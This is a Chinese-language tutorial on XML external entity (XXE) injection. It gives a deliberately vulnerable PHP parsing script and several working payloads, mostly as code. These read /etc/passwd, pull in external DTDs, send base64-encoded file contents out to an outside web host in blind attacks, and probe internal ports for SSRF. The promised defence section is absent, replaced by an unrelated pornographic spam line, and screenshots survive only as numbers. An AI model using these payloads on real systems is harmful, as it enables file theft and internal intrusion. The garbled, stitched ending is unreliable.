XML實體注入漏洞攻與防 2017-04-13

目錄

  1. XML基礎
  2. XML實體注入漏洞的幾種姿勢
  3. 防御XML實體注入漏洞

XML基礎

XML是一種用于標記電子文件使其具有結構性的標記語言,用于標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。

XML技術基礎我在這里將不在詳細解讀,有興趣的小伙伴可以通過如下幾個鏈接去學習XML基礎:

當然還是建議讀者詳細閱讀以上任意一個文檔并實踐之后再繼續往下看,以免造成知識跨度太大,看不懂或一知半解的情況。

XML實體注入基礎

當允許引用外部實體時,通過構造惡意內容,可導致讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害。

簡單了解XML以后,我們知道要在XML中使用特殊字符,需要使用實體字符,也可以將一些可能多次會用到的短語(比如公司名稱)設置為實體,然后就可以在內容中使用。

如下就聲明了一個名為coname值為QiHoo 360的實體。

<!DOCTYPE UserData [ <!ENTITY coname "QiHoo 360" > ]>

要在XML中使用實體,使用&coname;即可。

為了演示漏洞,我們寫一個簡單的PHP腳本,如下:

<?php

$xml = file_get_contents("php://input");
$data = simplexml_load_string($xml);

foreach ($data as $key => $value){
	echo "您的" . translate($key) . "是" . $value . "<br>";
}

function translate($str){
	switch ($str){
		case "name":
			return "名字";
		case "wechat":
			return "微信";
		case "public_wechat":
			return "微信公眾號";
		case "website":
			return "網站";
	}
}

假設這里我們希望用戶輸入的是:

<?xml version="1.0" encoding="utf-8" ?>
<user>
	<name>Striker</name>
	<wechat>strikersb</wechat>
	<public_wechat>sec_fe</public_wechat>
	<website>http://www.yaoqianglawyer.com</website>
</user>

然后就可以返回如下頁面:

2866086924

XML實體注入漏洞的幾種姿勢

方法1:

<!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]>

方法2:

<!DOCTYPE a [ <!ENTITY % d SYSTEM "http://www.yaoqianglawyer.com/attack.dtd"> %d; ]>

其中attack.dtd的內容為:

<!ENTITY b SYSTEM "file:///etc/passwd">

方法3:

<!DOCTYPE a SYSTEM "http://www.yaoqianglawyer.com/attack.dtd">

其中attack.dtd內容同上不變。

利用xml實體注入我們可以讀取本地任意文件。

讀取任意文件的思路大概就是引入一個實體,實體內容為本地文件。

使用我們如上說的任意一種方法即可實現,我這里使用第一個(因為最方便)。

構造payload如下:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]>
<user>
<name>Striker</name>
<wechat>strikersb</wechat>
<public_wechat>sec_fe</public_wechat>
<website>&b;</website>
</user>

提交后查看返回信息:

2068216990

可以看到成功讀取了/etc/passwd文件。

如果我們實戰中所在的場景下XML并沒有回顯,我們也可以使用另外一種方法讀取文件。

<!DOCTYPE a [ 
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http://www.yaoqianglawyer.com/attack.dtd">
%dtd;
%mydata;
]>

其中attack.dtd的內容為:

<!ENTITY % all
"<!ENTITY &#x25; mydata SYSTEM "http://www.yaoqianglawyer.com/?%file">"
>

發送payload以后就可以在http://www.yaoqianglawyer.com/的訪問日志中看到請求且帶上了/etc/passwd文件base64加密以后的內容:

3823080255

我們既然可以使用file協議讀取本地文件,當然也可以使用http協議訪問來造成SSRF攻擊,甚至可以使用gopher協議。

具體能使用的協議主要取決于PHP,PHP默認支持file、http、ftp、php、compress、data、glob、phar、gopher協議。

如果PHP支持except模塊,我們還可以利用except模塊來執行系統命令。

簡單的SSRF攻擊實例如下:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "http://127.0.0.1:1234/"> ]>
<user>
<name>Striker</name>
<wechat>strikersb</wechat>
<public_wechat>sec_fe</public_wechat>
<website>&b;</website>
</user>

然后就可以監聽到訪問了。

3176503184

SSRF攻擊可以成功的話,我們自然可以進而攻擊企業內網的系統。

其他更多的危害各位可以參考OWASP出的文檔:

https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf

防御XML實體注入漏洞

一级A片不卡在线观看